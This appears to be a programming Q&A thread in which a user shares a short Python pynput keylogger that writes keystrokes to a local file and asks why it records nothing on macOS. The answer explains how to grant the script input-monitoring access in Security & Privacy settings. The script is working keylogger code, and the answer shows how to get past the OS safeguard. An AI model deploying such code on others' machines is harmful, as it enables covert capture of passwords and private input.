1

I am trying to run a simple Keylogger using Python3 on MacOs. Below is the script.

import pynput
from pynput.keyboard import Key, Listener



count = 0
keys = []

def on_press(Key):
    global keys, count
    print("hello")
    keys.append(Key)
    count += 1
    print(f"{Key} pressed")

    if count >= 10:
        count = 0
        write_file(keys)
        keys = []

# hello this is a test for the keylogger.

def write_file(keys):
    with open("logger.txt", "a") as f:
        for key in keys:
            f.write(str(key))



def on_release(Key):
    if Key == Key.esc:
        return False




with Listener(on_press= on_press, on_release = on_release) as listener:
    listener.join()

The code displays which key is pressed on the console and also after every some period, it stores the keys pressed in a file. When I run the script using sudo, nothing is happening when I press some keys. I am not being shown which keys are pressed on the console and the file is also empty.

I am not able to understand what is the problem. I am guessing it's something related to MacOs restrictions for giving full access to the keyboard. But I am not sure.

Please someone help me on this.

8
  • Why do you want to run a keylogger with sudo?
    – Banana
    Apr 7, 2020 at 10:27
  • Because when I normally do it using python3 filename.py, I am facing the same problem. So I thought maybe it's due to admin restrictions, let's try it with sudo. But no use.
    – Sanku
    Apr 7, 2020 at 10:29
  • Does this help?
    – Banana
    Apr 7, 2020 at 10:32
  • yup tried it. it works. So, I need to add terminal and my IDE for this to work. Thanks for your help :)
    – Sanku
    Apr 7, 2020 at 10:38
  • You're welcome. This Question was recommended as relative :)
    – Banana
    Apr 7, 2020 at 10:47

1 Answer 1

2

I found the solution in a related question. For security reasons MacOS does not allow keylogging by default. So you need to enable it manually:

  1. Settings -> Security & Privacy
  2. Click on the Privacy tab
  3. Click the + and hold down CMD + SHIFT + . (so that you can see hidden files/folders)

  4. Navigate to /usr/local/bin or wherever you have Python installed

  5. Click okay.

cited from this answer

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge that you have read and understand our privacy policy and code of conduct.

Not the answer you're looking for? Browse other questions tagged or ask your own question.